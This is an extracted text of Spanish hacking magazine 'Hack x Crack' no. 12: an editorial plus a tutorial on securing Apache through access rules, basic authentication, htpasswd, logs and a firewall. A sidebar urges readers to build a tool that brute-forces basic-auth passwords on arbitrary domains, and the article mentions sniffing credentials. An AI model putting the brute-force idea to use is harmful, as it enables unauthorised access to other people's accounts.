SlideShare una empresa de Scribd logo
HACK X CRACK: ATRAVESANDO FIREWALLS POR FTP
                               P                   SERVIDOR
                               A                  WEB APACHE
                               S     pROTEGE TU APACHE
                               O   RESTRICCION DE ACCESOS - AUTENTIFICACION
                                   ANALIZANDO A NUESTROS “VISITANTES” - LOGS

P A S Oa
       a
       a
       a
       a
       a
       a
       aa
        a
        a
        a
        a
        a
                                   CODIFICACION - HTPASSWD - CORTAFUEGOS

   IIS BUG SCANNER


   CREA TU PROPIA
   HERRAMIENTA DE
      HACKING
                               1
              2
           SERVIDORES


  3
       ON LINE PARA TUS




                                       APRENDE A UTILIZAR
                                       LOS SERVIDORES FTP
                                             COMO
                                    ANONIMIZADORES !!!
   Nº 12 -- P.V.P. 4,5 EUROS
                       00012




     8 414090 202756




 PC PASO A PASO: BASE 64, UUENCODE, UUDECODE, MIME, ASCII, BITS...
P
                              A
                              S
                              O
            aa
     P A S Oaa
            aa
            a
            a
            aa
             a
             a
             a
             a
             a
             a
             aa


EDITORIAL: EDITOTRANS S.L.                      Director de la Publicación
                                                J. Sentís
C.I.F:     B43675701
PERE MARTELL Nº 20, 2º - 1ª                     E-mail contacto
43001 TARRAGONA (ESPAÑA)                        director@hackxcrack.com
Director Editorial                              Diseño gráfico:
I. SENTIS                                       J. M. Velasco
E-mail contacto
director@editotrans.com                         E-mail contacto:
Título de la publicación
Los Cuadernos de HACK X CRACK.                  grafico@hackxcrack.com
Nombre Comercial de la publicacíón
PC PASO A PASO                                  Redactores
Web: www.hackxcrack.com                         AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO,
Dirección: PERE MARTELL Nº 20, 2º - 1ª.         ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE,
            43001 TARRAGONA (ESPAÑA)
                                                ZORTEMIUS, AK22, DORKAN, KMORK, MAILA,
                                                TITINA, SIMPSIM... ... ... ... ...
¿Quieres insertar publicidad en PC PASO A Contacto redactores
PASO? Tenemos la mejor relación precio-difusión redactores@hackxcrack.com
del mercado editorial en España. Contacta con
nosotros!!!                                     Colaboradores
                                                Mas de 130 personas: de España, de Brasil, de
Director de Marketing                           Argentina, de Francia, de Alemania, de Japón y
Sr. Miguel Mellado                              algún Estadounidense.
Tfno. directo: 652 495 607
Tfno. oficina: 877 023 356
E-mail: miguel@editotrans.com                   E-mail contacto
                                                colaboradores@hackxcrack.com
                                                Imprime
                                                I.G. PRINTONE S.A. Tel 91 808 50 15
                                                DISTRIBUCIÓN:
                                                SGEL, Avda. Valdeparra 29 (Pol. Ind.)
                                                28018 ALCOBENDAS (MADRID)
                                                Tel 91 657 69 00 FAX 91 657 69 28
                                                WEB: www.sgel.es

                                                TELÉFONO DE ATENCIÓN AL CLIENTE: 977 22 45 80
                                                Petición de Números atrasados y Suscripciones (Srta. Genoveva)

                                                HORARIO DE ATENCIÓN:                DE 9:30 A 13:30
                                                                                   (LUNES A VIERNES)
                                                © Copyright Editotrans S.L.
                                                NUMERO 12 -- PRINTED IN SPAIN
                                                PERIOCIDAD MENSUAL
                                                Deposito legal: B.26805-2002
 Página 2                                       Código EAN:      8414090202756 A PASO Nº 12
                                                                            PC PASO
EDITORIAL
      UNAS LARGAS VACACIONES
Ya estamos de nuevo aquí para seguir alimentando esas                ahora tenemos, si queremos avanzar necesitamos capital,
mentes curiosas que no se conforman con mover el ratón               si queremos contratar personal para que se solucionen
 y esperar que se lo den todo en bandeja. Hay dos formas             los mil y un retrasos que tenemos en todos los frentes
de leer esta revista: como un simple turista o como un               necesitamos capital, si queremos patrocinar iniciativas
aplicado estudiante. Tú decides!!! Si eres de los que disfrutan      (por ejemplo concursos de hacking) necesitamos capital.
con los retos, esta es tu revista… te aseguramos que el              Esta es una dura lección que estamos aprendiendo a
esfuerzo vale la pena y te reportará gratificantes recompensas       base de golpes :(
:)
                                                                     - ¿Problemas? Muchos, pero seguiremos mejorando y
¿Noticias frescas? Si consultas el foro de www.hackxcrack.com        haciéndoles frente como hasta ahora hemos hecho. En este
ya sabrás las últimas novedades, en caso contrario las               momento estamos trabajando en dos temas: La nueva
comento en estas líneas:                                             WEB (que ya está programándose) y empezaremos a liberar
                                                                     artículos en PDF en cuanto esté ON LINE, porque los nuevos
- ¿Más páginas en la revista? Lo estamos intentando, pudiste         lectores que compran la revista SE ASUSTAN al leerla.
ver que el número 11 tenía 16 páginas “extra”. Siempre que           Normal y perfectamente comprensible, parece que no pero
dispongamos de capital suficiente PC PASO A PASO aumentará           HEMOS AVANZADO MUCHO y para alguien que nunca nos
poco a poco sus páginas, a partir de ahora será un “misterio”        ha leído es demasiado avanzada. Veremos cómo
que se desvelará cada mes en tu quiosco.                             solucionamos este problema. Es cierto que puedes pedirnos
                                                                     los números atrasados por la WEB (tenemos en el almacén
- ¿TRES SERVIDORES para las practicas? Pues si, gracias a            más de 20.000 unidades), pero nos gustaría encontrar
AZIMUT tenemos ahora 3 servidores ON LINE para que no te             soluciones paralelas.
quedes sin tu ración de “practica pura”!!!
                                                                     ¡Ya me he quedado sin página, otra vez! Agradecemos
- ¿Cambio de distribuidor? Si, a partir de ahora nos distribuirá     una vez más el excelente trabajo de nuestros
SGEL, el número 1 en la distribución de prensa escrita en            colaboradores y en especial el durísimo y desinteresado
España. Aunque en el foro se han vertido duras críticas con          trabajo de los moderadores del foro. Gracias a ellos el
respecto a COEDIS (nuestro anterior distribuidor), debo rectificar   foro es un centro de reunión que cada vez cuenta con
a AZIMUT y decir que PC PASO A PASO cambia de distribuidor           más y mejores miembros.
porque intentamos tener un mayor control sobre los puntos
de venta y deseamos que puedas pedir números atrasados               ¡Una vez más GRACIAS!
directamente en los quioscos. Esperamos dejar las puertas
abiertas con COEDIS para futuras iniciativas editoriales, debemos
recordar que cuando nadie nos quería COEDIS NOS ACOGIÓ
y gracias a ellos se pudo distribuir esta revista. Desde aquí un
saludo al Sr. Cadena (COEDIS), que puso a nuestra disposición
en todo momento su dilatada experiencia en la distribución de
medios escritos.

¿Dónde está la DECLARACIÓN DE INTENCIONES que
siempre encabezaba la revista? En la WEB. La pondremos
en la revista siempre que podamos, pero preferimos utilizar
esa página para contenido “real” :)

- ¿Publicidad en la revista? Si, a partir de ahora
intentaremos incluir en la revista toda la publicidad que
podamos. Seamos realistas, después de hacer números,
números y más números hemos llegado a la única
solución posible: publicidad = aumento de páginas
útiles. Si queremos crecer, poder pagar más páginas
útiles, tener más servidores y asentarnos en el mercado
tenemos que poner publicidad. Recordemos que AZIMUT
ha pagado de su propio bolsillo los tres servidores que
Parte VI: Configura tu
                   servidor APACHE
                  DE FORMA seGURA
           - Si has seguido nuestro curso, ya hemos convertido nuestro PC en un Servidor Web y un
           montón de usuarios visitandolo. Ahora te enseñaremos a protegerlo, “investigaremos”
           a nuestros invitados, aprenderemos a banear y restringir el acceso y mucho mas.



           Bienvenidos de nuevo. Os comunicamos que             1.1    Proceso de autentificación basada
           este capítulo será el último de la serie Apache,     en el host.
           a lo largo de los anteriores números hemos
           explicado como instalar, configurar y sacar          En este sistema de autenticación, el control del
           partido al servidor web Apache. Vamos a              acceso se basa en el nombre del host o en su
           terminar el curso explicando como configurar         dirección IP. Cuando el navegante visita la web,
           la seguridad del servidor Apache, como saber         Apache captura su nombre e IP y busca si este
           quienes nos visitan y para finalizar vamos a         navegante tiene permisos para acceder a los
           instalar un cortafuegos que nos proteja de           recursos. Este sistema es muy útil para bannear
           ataques externos. Venga, un esfuerzo más...          (impedir el acceso) a los navegantes que visitan
                                                                la web con malas intenciones.
           1.       Autentificación básica.
                                                                El módulo que se encarga de controlar el acceso
           Cuando un navegante accede a Internet, la            basada en host se llama mod_access, gracias
           sesión se mantiene con el servidor hasta que         al cual se puede controlar el acceso basándose
           el cliente abandona la red. En WWW, el cliente       en nombre del host de un cliente Web. El
           suele ser el explorador web (el Internet Explorer,   nombre puede ser el del dominio (como
           Netscape…) y el servidor es un Servidor Web          user1.hackxcrack.com) o una dirección IP (como
           como Apache. El protocolo HTTP no es                 208.124.67.0).
           permanente, por lo que la sesión no se mantiene
           permanentemente. Una vez que el servidor             Para controlar el acceso se trabaja con las
           web sirve la página, éste corta la conexión          siguientes directrices: allow, deny, order, allow
           para dejar la conexión abierta con el fin de         from env y deny from env.
           aceptar futuras peticiones.
                                                                Allow
           De modo más claro, ¿para qué sirve mantener          Sintaxis: allow from host1 host2 host3
           la sesión del navegante?, tal vez nos interese       Esta directriz permite definir una lista con los
           ofrecer un servicio privado al que únicamente        host que tienen permiso para acceder a un
           podrán acceder amigos que antes se han               directorio determinado.
           identificado con un login y password. Una vez
           que se han identificado podrán acceder a los         Deny
           servicios privados sin necesidad de que el           Sintaxis: deny from host1 host2 host3
           navegante tenga que estar introduciendo de           Esta directriz permite definir una lista con los
           nuevo su login y password mientras dure la           host que no tienen permiso para acceder aun
           sesión.                                              directorio determinado.


Página 4                                                                                             PC PASO A PASO Nº 12
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO




          Order                                                          Parte del nombre del navegante:
          Sintaxis: order deny, allow | allow, deny |                           allow from .mundivia.es
          mutual-failure                                                 Dirección IP completa:
          Esta directriz controla el sistema de evaluación                      allow from 80.58.0.44
          que utiliza Apache con las directrices allow y                 Parte de la dirección Ip de un host:
          deny.                                                                 allow from 80.58
                                                                         Red / máscara de red:
          Ejemplo 1: Vamos a prohibir el acceso al                              allow from 80.58.0.0/255.255.255.0
          directorio de mp3 a todos los navegantes que
          nos visiten con conexiones de proxy-cache de                   Otro ejemplo, supongamos que tenemos una
          Telefónica. Que nadie se enfade, esto es solo                  Web con "pelis" Divx y queremos que solo se
          un ejemplo.                                                    conecten los navegantes que tengan las
                                                                         conexiones más rápidas (cable), para que la
          El nombre de un navegante que se conecta                       descarga sea lo más rápido posible y no nos
          con ProxyCache de telefónica es                                monopolicen nuestro servidor por mucho
          IP.proxycache.rima-tde.net, por ejemplo                        tiempo aceptaremos conexiones de Madritel y
          (80.58.0.44.proxycache.rima-tde.net)                           de Ono.

          Abrimos el archivo de configuración de Apache,                 Podemos identificar una conexión de Ono si el
          httpd.conf y copiamos el siguiente código:                     nombre del navegante contiene el texto
                                                                         onolab.com o ono.com, mientras que para
          <Directory /mp3>                                               identificar un navegante de Madritel vamos a
          order deny, allow                                              utilizar el rango de IPs (213.37.0.0 –
          d e ny f r o m . p r ox yc a c h e . r i m a - t d e . n e t   213.37.65.255).
          allow from all
          </Directory>                                                   <Directory /divx>
                                                                         order deny, allow
          ¿Qué le estamos diciendo a Apache?, en                         deny from all
          directory le comunicamos el directorio que                     allow from onolab.com ono.com 213.37.0.0/255.255.0.0

          deseamos proteger, en order le comunicamos                     </Directory>
          las directrices que vamos a utilizar (denegar
          y aceptar), en deny colocamos parte del                        Este ejemplo niega el acceso al directorio divx
          nombre del dominio que deseamos                                a todos los navegantes excepto a aquellos que
          rechazar y en allow aceptamos el resto de los                  se conectan con cable de Ono o Madritel.
          navegantes.
                                                                         1.2 Proceso de autenticación de HTTP
          Los valores que aceptan las directrices Deny                   básico
          y Allow son varios, vamos a verlo con ejemplos,
          ya que os serán de gran utilidad (recuerda que                 La autenticación básica es muy sencilla y útil
          también se aplica para la directriz Deny).                     para permitir el acceso a directorios mediante
                                                                         la solicitud de un login y password. Cuando un
          Aceptar todas las conexiones:                                  explorador Web (por ejemplo el Internet
               allow from all                                            Explorer) solicita un URL (una dirección Web
                                                                         cualquiera, por ejemplo www.mocosoft.com)
          Aceptar un navegante con nombre completo:                      protegida por autenticación básica, el servidor
               allow from hos628121470.mundivia.es

PC PASO A PASO Nº 12                                                                                                            Página 5
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO



             devuelve una cabecera de estado 401 y otra              La autentificación básica tiene claros problemas
             de respuesta (ahora veremos esto).                      de seguridad. Cuando el navegador envía la
                                                                     contraseña lo hace en texto plano y sin
             Acto seguido el explorador muestra un cuadro            encriptarla. En lugar de encriptarla utiliza la
             solicitando introducir el login y password, el          codificación UU y la transmite por Internet
             explorador se los envía al Servidor Web y este          (busca en www.google.com UUencode y
             comprueba si los datos son correctos. En caso           UUdecode para saber más sobre este
             afirmativo mostrará la página solicitada. En            tipo de codificación, podrás comprobar
             caso negativo responde con el estado 401 y              que se puede codificar y decodificar
             vuelve a enviar la misma cabecera de                    directamente).
             autenticación para que solicite de nuevo al
             usuario el login y password. Hay que tener en           Seguro que más de uno estará pensando en
             cuenta que la ventana que solicita el login y           q u e s e p u e d e n c a p t u ra r l o s d a t o s
             password es del Sistema Operativo por el                (user:password) colocando un sniffer,
             explorador y no un formulario HTML.                     pues sí que es posible capturar el usuario y
                                                                     password utilizando un sniffer para la
                                                                     autentificación básica. Por ello no recomendamos

 !              ¿Qué es eso...
                                                                     este tipo de autentificación para aplicaciones
                                                                     importantes. La mayoría de las protecciones
                                                                     que encontrarás en Internet son utilizando esta
                                                                     técnica, a no ser que utilicemos un protocolo
 ¿Qué es eso de “el estado 401”? ¿Algún tipo de sistema de
                                                                     seguro que nos encripte la información (por
 gobierno? ;p
                                                                     ejemplo SSL, típico cuando accedes a una tienda
 Aunque ya se ha explicado en anteriores ocasiones, no está de
                                                                     on-line).
 más recordarlo. Cuando tu navegador hace una petición a una
 página Web, el Servidor Web contesta y le indica a tu navegador
 “lo que ha pasado” mediante UN CÓDIGO NUMÉRICO. Cada                Siguiendo las técnicas ya comentadas en
 código representa “un estado”, es decir, cada código tiene un       capítulos anteriores y suponiendo que un
 significado que le indica al navegador “lo que ha pasado”.          directorio está siendo protegido por
                                                                     autentificación básica podemos enviar la solicitud
 Hablando claro, si el Servidor Web contesta con el número 401       del directorio (por ejemplo utiliza un telnet,
 significa ACCESO NO AUTORIZADO. Seguramente nos saldrá              herramienta explicada una y otra vez en la
 una ventanita invitándonos a introducir el nombre de usuario y      revista). Escribimos el comando de petición:
 la contraseña, si los introducimos y no son correctos el Servidor   GET /test/divx HTTP/1.0
 Web volverá a emitir un 401, si los introducimos y son correctos
 obtendremos un código 200 (OK, es decir, acceso concedido y         El servidor responde con un mensaje:
 acto seguido veremos en nuestra pantalla la página solicitada).
                                                                     HTTP/1.1 401 Unauthorized
 Si te interesa una lista completa de “códigos de estado” deberás    WWW-Authenticate: Basic realm=”hackxcrack”
 dirigirte al RFC 2616 (http://www.rfc-editor.org/rfc/rfc2616.txt
  -- lastima, está en ingles) y/o ir al buscador google              Como podemos apreciar, nos contesta con un
 (www.google.com) y buscar por ---lista códigos Web 200 400
                                                                     401 (NO AUTORIZADO) y amablemente nos
 500 ok---- con la opción “Buscar solo páginas en Español”
                                                                     dice que el tipo de autentificación utilizado es
 seleccionada. Encontrarás páginas como
                                                                     el BÁSICO :)
 http://www.altoaragon.org/codigos.htm#mensajes, donde puedes
 ver los principales códigos de respuesta del Servidor Web y en
 castellano :)                                                       En este momento el navegador pedirá al
                                                                     internauta que se identifique, saldrá la típica


                                                                                                            PC PASO A PASO Nº 12
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO




          ventanita pidiéndonos el login y password, una     http://bitassa.com/articles/babel.html (es un
          vez introducido el navegador lo envía a través     poco antiguo pero te aclarará todos esos
          de HTTP. Lo que se envía es algo parecido a        conceptos que quizás ahora te suenan a chino-
          esto:                                              mandarín: ASCII, ISO, ISO 8859-1 (ISO Latin-
                                                             1), UUENCODE, UUDECODE, MIME, BASE 64,
          GET /test/divx HTTP/1.0                            UNICODE… …) Hazme caso por favor, léelo!!!!!
          Authorization: Basic H676RgThb54Op
                                                             Y si eres de los que quieren aprender realmente
          Pero… ¿Dónde está el login y password?,            a codificar y decodificar en BASE 64, mejor lee
          Es esa cosa tan rara H676RgThb54Op“. Estos         este artículo:
          datos se envían en la cabecera de Authorization,   http://www.rynho-zeros.com.ar/article97.html
          PERO se codifican utilizando un algoritmo Base
          64, este algoritmo es muy fácil romper. Por        Como puedes ver, a falta de presupuesto para
          cierto, recuerda que el login y el pasword se      poner más páginas en la revista hemos optado
          envían separados por dos puntos (repasa el         por hacer referencias a artículos que pueden
          primer número de la revista, compralo mediante     arrojar un poco de luz sobre temas que son
          la Web -www.hackxcrack.com- y/o descargarlo        paralelos al tema tratado :)
          gratuitamente en formato PDF de esa misma
          Web.
                                                                  !              Aprovechando...
          Pero… ¿dónde están los dos puntos? Yo no los
          veo en “H676RgThb54Op”, no entiendo nada!!!
          Vale, te lo detallo. En realidad, lo que debería        Aprovechando el curso de Visual Basic podéis hacer una
          enviar el navegador en lugar de                         herramienta que haga combinaciones de password, buscar
          “H676RgThb54Op” es “login:pasword” (por                 un dominio que solicite identificación mediante
          ejemplo fernando:alma56892), pero en lugar              Autentificación básica y luego enviarle peticiones con
          de enviar directamente “fernando:alma56892”             combinaciones en la cabecera Authorization, recordar que
          en texto plano, primero lo cifra en BASE64              tenéis que utilizar la codificación Base 64, la mayoría de
          (quedándonos                   algo        así          los lenguajes ya tienen esta función implementada.
          “ZmVybmFuZG86YWxtYTU2ODky”). Los dos
          puntos también han sido codificados, por
          supuesto, por eso no puedes verlos, igual que      Ya sabemos como funciona la Autentificación
          no puedes ver el user (fernando) ni el pasword     Básica, ahora vamos a proteger el directorio
          (alma56892).                                       DIVX utilizando las directrices de Apache.
                                                             Supongamos que queremos restringir el acceso
          Dices que es un “cifrado” fácil de romper, pero    al directorio DIVX de modo que la única persona
          yo, no se, no tengo ni idea de eso.                que pueda acceder sea un usuario llamado
                                                             “ h a c k x c r a c k ”, c u y a c o n t r a s e ñ a s e a
          Pues entonces vamos al www.google.com e            “hackxcrack100”.
          investigamos un poquito. Bueno, vale, te lo
          pondré fácil. Tienes un “traductor on line” de     Paso 1. Crear un archivo para el usuario con
          BASE 64 en http://www.rynho-                       htpasswd
          zeros.com.ar/base64nuke.php ;p
                                                             Apache incluye un programa llamado htpasswsd,
          Y de paso te recomiendo, no, mejor te ruego        este archivo se encuentra en el directorio
          encarecidamente que leas el artículo               c:apachebin

PC PASO A PASO Nº 12                                                                                                      Página 7
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO




             Crea un directorio en C que se llame password,       Paso 2. Creación del archivo .htpasswd
             ahora verás la razón de crear este directorio.
             Abre una ventana de comandos, ponte en el            Crea un archivo llamado .htaccess en el directorio
             directorio bin de apache para ejecutar el fichero    que deseas proteger, en este ejemplo:
             htpasswd y pon:
                                                                  c:apache.wwwdivx.htpasswd.
             htpasswd –c c:password.htpasswd hackxcrack
                                                                  Abrimos este archivo y añadimos los siguientes
                                                                  parámetros:

  !             Si no sabes...
                                                                  AuthNam Apache Server Solo usuario de Hackxcrack
                                                                  AuthType Basic
 Si no sabes abrir una ventana de comandos y moverte entre
                                                                  AuthUserFile c:password.htpasswd
 directorios desde ella, descarga el número uno de esta revista
                                                                  Require user hackxcrack
 en formato PDF desde la Web www.hackxcrack.com.
 Seguimos recibiendo mails de lectores que no saben como
 abrir una ventana de comandos, pues en Hack x Crack
                                                                  • La primera directriz, AuthName, es una etiqueta
                                                                  para el navegador, puedes escribir cualquier
 número 1 se explica, además tienes el foro en la misma
                                                                  cosa. Por ejemplo, podrías haber puesto
 Web, donde nos ayudamos entre todos… ¿a qué esperas
                                                                  perfectamente AuthNam Apache Server para
 para participar? :)
                                                                  mis amigos :)


                                                                  • La directriz AuthType Basic hace mención al
             htpasswd solicitará la contraseña para el usuario    tipo de autentificación, eso ya lo hemos explicado
             hackxcrack. Hay que introducir dos veces el          en este mismo artículo.
             password hackxcrack100, la segunda vez es
             por seguridad. La herramienta ha creado un
                                                                  • La directriz AuthUserFile especifica el nombre
             archivo llamado .htpasswd en el nuevo directorio
                                                                  de archivo del usuario creado anteriormente.
             password con los datos del usuario.

                                                                  • Por último, mediante la directriz Require user
             El contenido del archivo .htpasswd de este
                                                                  comunicamos que el usuario hackxcrack puede
             ejemplo es:
                                                                  acceder al directorio.
             hackxcrack:$apr1$Z04.....$UdNMBBNaSXVXQ
             o62VHQru1
                                                                  Paso 3. Configurar el archivo de permisos.

             Es importante saber que:
                                                                  Una vez creados ambos archivos es
                                                                  recomendable dar permisos de lectura de estos
             • Utilizar la opción –c es para crear un nuevo       archivos sólo a Apache para que nadie pueda
             archivo, si lo que se desea es añadir un nuevo       acceder a ellos.
             usuario al archivo hay que omitir el parámetro.
             • Colocar el archivo .htpasswd fuera del árbol
             de directorios web de Apache, para evitar cosas      2.      Registro de visitas de tu web.
             como:
             http://www.hackxcrack.com/password/.htpasswd
                                                                  En anteriores capítulos hemos aprendido a
             y puedan robarnos el archivo con todas las           conocer el estado del servidor Apache utilizando
             claves.


Página 8                                                                                                PC PASO A PASO Nº 12
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO




          el módulo mod_info, pero tan importante es          Si deseamos registrar todos los accesos al
          conocer el estado del servidor como saber           servidor web, hay que abrir el archivo de
          cuantas visita tiene la web. Apache registra        configuración httpd.conf y añadir la línea anterior,
          cada impacto recibido de las visitas, registra      si el archivo access.log no existe Apache lo
          accesos cualquier objeto que tengamos en la         creará de manera automática.
          Web , páginas HTML, imágenes, flash, ...
                                                              Directriz: LogFormat
          Apache utiliza el formato CLF para registrar la     Sintaxis: LogFormat formato
          información capturada, el archivo contiene una
          línea separada para cada petición, está formada     Ejemplo: LogFormat “%h %l %u % t ”%r”
          por varias partes: host ident authuser date         %s %b”
          request status bytes
                                                              Con esta directriz podemos configurar el formato
          El significado de cada uno de ellos:                de registro de la información en el archivo
                                                              access.log
          Host: Se encuentra el nombre completo del
          dominio del cliente i su dirección IP.              Aunque el formato CLF suele ser suficiente
          Ident: Un identificador de cliente.                 puede ocurrir que necesitemos añadir nueva
                                                              información o cambiar la estructura de los logs.
          Authuser: Si el URL solicitado necesita una         El formato de la directriz puede contener tanto
          autenticación HTTP básica, se tomará como           caracteres literales como especificadores de
          valor de este elemento el nombre del usuario.       formato (%). Los especificadores son:

          Date: Fecha y hora de la
          petición.

          Request: La url que solicita el
          navegante.

          Status: Código de estado.

          Bytes: Número de bytes del
          objeto solicitado por el
          navegante.

          D i r e c t r i z : Tr a n s f e r L o g
          S i n t a x i s : Tr a n s f e r L o g
          nombre_archivo
                                                              Ejemplo de un log real con el formato:
          Ejemplo: TransferLog logs/access.log                LogFormat "%h %l %u %t "%r" %>s %b
                                                               " % { Re fe r e r } i  "  " % { U s e r-A g e n t } i  " "
          Determina el nombre archivo dónde se
          registrarán todos los accesos. La información       127.0.0.1 - - [08/Sep/2002:19:49:18 +0200]
          registrada se presenta en formato CLF aunque        "GET /hackxcrack /index.htm HTTP/1.1" 200
          el formato se puede personalizar con la directriz   979 "-" "Mozilla/4.0 (compatible; MSIE 5.0;
          LogFormat.                                          Windows 98; DigExt)"

PC PASO A PASO Nº 12                                                                                                            Página 9
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO




            ¿qué nos dice el registro de logs?                  web. El registro de errores lo aporta
            127.0.0.1 – Es la IP del navegante, recuerda        el propio Apache y a través de la directriz
            que una misma IP puede estar repetida ya que        ErrorLog.
            el navegante visitará varias páginas.
                                                                Un ejemplo de registro con error:
            [08/Sep/2002:19:49:18 +0200] – Fecha y hora         [Mon Sep 09 11:04:19 2002] [error] [client
            de conexión, es decir, es la fecha en que se        1 2 7. 0 . 0 . 1 ] F i l e d o e s n o t e x i s t :
            ha conectado el navegante.                          c:/appserv/www/hackxcracm/img/logos.gif

             "GET /hackxcrack/index.htm HTTP/1.1” – Es          Este registro nos dice que la visita con IP
            el objeto que ha visitado el navegante, en este     127.0.0.1 ha accedido a una imagen llamada
            caso es la página principal de hackxcrack           logos.gif y que no existe. De esta forma tan
                                                                simple podemos mantener siempre los enlaces
            "Mozilla/4.0 (compatible; MSIE 5.0; Windows         actualizados y libres de errores.
            98; DigExt)" – Es el useragent, este dato lo
            envía el navegador y en el se puede saber el        2.3 Mantenimiento de logs
            sistema operativo del navegante y navegador.
                                                                Por defecto Apache registra todos los accesos
            Apache también nos permite crear varios             en un mismo archivo, este irá creciendo hasta
            archivos de logs con contenidos diferentes, por     llenar el disco duro, por lo que es muy peligroso
            ejemplo, nos puede interesar tener archivos         que ocurra esto. Imagina las empresas de
            logs, uno con todo el contenido CLF y otro          hosting con miles de dominios, tienen que llevar
            archivo con los useragents, un ejemplo con un       un control de logs automático con sucesos que
            servidor virtual sería:                             eviten el colapso de los discos duros.
                                                                Cuando el tamaño del archivo de registro es
            TransferLog logs/access.log                         demasiado grande, se suele optar por
            CustomLog logs/agents.log                           renovarlo.

            <Virtual Host 255.76.123.67>
                                                                Apache ofrece la utilidad rotatelog para que el
            ServerName www.hackxcrack.com
                                                                mantenimiento de logs sea automático.
            DocumentRoot /www/hackxcrack/                       Utilidad: RotateLog
            </VirtualHost>
                                                                Para utilizar esta herramienta hay que abrir el
            2.2 Registro de errores                             fichero de configuración de Apache y poner lo
                                                                siguiente (si no sabes qué archivo es ese, seguro
            Existe otro archivo log de gran utilidad, es el     que no has seguido el curso de APACHE desde
            archivo de errores. Este archivo registrará todos   el principio ;p):
            los accesos erróneos, si un navegante intenta
            acceder a una página que no exista se le            TransferLog “| /apache/logs /copia/logs/httpd
            mostrará un mensaje 404 en el navegador y            86400”
            el servidor Apache registrará este acceso en
            archivo de errores.                                 De este modo, todos los días se generará un
                                                                nuevo archivo de información que se guarda
            Este archivo es de gran utilidad ya que             en /copia/logs/https.nnn, donde nnn representa
            podemos encontrar errores de enlaces, páginas       un número largo. El tiempo hay que especificarlo
            ya no existentes y nos ayudará a depurar la         en segundos (86400 segundos = 24 horas).

Página 10                                                                                              PC PASO A PASO Nº 12
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO




          2.4 Analizar los datos de los logs                    Apache vamos a explicar como instalar un
                                                                firewall en el servidor y así proteger el servidor
          Abrir un archivo log para pretender analizarlo        de ataques externos.
          sin ninguna herramienta puede resultar casi
          imposible, por no decir imposible del todo. Para      Os resumimos los principales puntos de un
          ello existen herramientas gratuitas que               cortafuegos:
          analizarán los logs para generar informes con
          datos tan importantes como “visitas por horas,        • Proteger el ordenador de los ataques que
          visitas por días, visitas mensuales, ...”.            se produzcan desde máquinas situadas en
                                                                Internet.
          El analizador de logs más conocido es webalizer,
          podéis descargar el programa en                       • Asegurar que nuestro ordenador no se
          www.webalizer.org, es software con licencia           utiliza para atacar a otros.
          Open Source development y lógicamente gratis.

                                                                • Prevenir el uso de troyanos que puedan
          La puesta en marcha de los analizadores de
                                                                existir en el sistema debido a que alguien nos
          logs requieren de conocimientos básicos para
                                                                lo ha introducido a través de correo electrónico
          el correcto funcionamiento. Existen otras
                                                                o en algún CD o disquete.
          soluciones más sencillas para conocer el número
          de visitas, países, referidos, navegadores, sin
                                                                ·• Detectar patrones de ataques e identificar
          necesidad de sobrecargar el servidor web. En
                                                                de dónde provienen.
          Internet encontrarás muchos servicios de
          contadores de visitas con estadísticas de visitas.
          La puesta en marcha de estos contadores es            • Evitar que nuestro ordenador pueda ser un
          muy sencilla y rápida. Incluso en algunos             punto de entrada a una red privada virtual en
          servicios te ofrecen más información que los          el caso de utilizarlo para tele trabajo o acceso
          propios logs del servidor Apache.                     remoto a la red de una empresa.


          Te recomendamos los contadores de                     •   Al probar nuevas aplicaciones podremos
          www.contadorwap.com y www.intrastats.com,             averiguar cuáles son exactamente los puertos
          el registro es sencillo, rápido y las estadísticas    de comunicaciones que necesitan usar.
          son bastante estables.
                                                                Hemos optado por el cortafuegos Zone Alarm
          3.    Instalar un firewall en el                      por ser gratuito y bastante estable. Con Zone
                                                                Alarm podemos controlar el acceso a los servicios
          servidor web
                                                                que deseemos, en un principio nos interesa dar
                                                                acceso a un solo servicio, al servicio web Apache.
          En anteriores número de hackxcrack ya se
          comentó la finalidad de un firewall o
                                                                Lo primero es bajarse el programa de
          cortafuegos, pero resumiendo podemos decir
                                                                http://www.zonealarm.com, busca la versión
          que es una herramienta que prohíbe el acceso
                                                                gratuita. El archivo ocupa 3,5 Megas, no es
          a recursos a navegantes no deseados. Si tienes
                                                                mucho por lo que en unos minutos lo tendrás
          tu servidor web las 24 horas, seguro que
                                                                en el disco duro.
          muchos navegantes intentarán acceder a otros
          servicios del servidor (ftp, mysql, netbios, email,
                                                                Instala el ZoneAlarm, la instalación es muy
          ...). Es por ello que para finalizar el curso de
                                                                sencilla e intuitiva. Seguramente tendrás que

PC PASO A PASO Nº 12                                                                                                 Página 11
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO




            reiniciar el ordenador, la primera pantalla tras
            iniciar el ZoneAlarm es para configurar algunas
            preferencias.

            En la siguiente imagen vemos como ZoneAlarm
            nos pregunta si deseamos que nos avise cada
            vez que detecte un intento de acceso no
            validado. Si aceptas "alert me whenever
            ZoneAlarm blocks traffic” nos mostrará una
            alarma cada vez que detecte un intento de
            intrusión, si trabajas en el servidor puede llegar
            a molestar, así que selecciona “Don’t alert me
            at all – protect my computer silently”.




                                                                 En la siguiente ventana te pregunta si quieres
                                                                 leer el tutorial, no hace falta ya que ZoneAlarm
                                                                 es muy sencillo, así que pulsa el icono Finish.
                                                                 A los pocos segundos tendrás el ZoneAlarm
                                                                 funcionando como muestra la imagen.




            En la segunda ventana nos pregunta si
            deseamos que ZoneAlarm preconfigure algunos
            programas, es decir, él será quien de permisos
            de manera inicial. Si seleccionamos que “no”
            ZoneAlarm detectará las conexiones y nos
            preguntará si aceptamos las conexiones, es
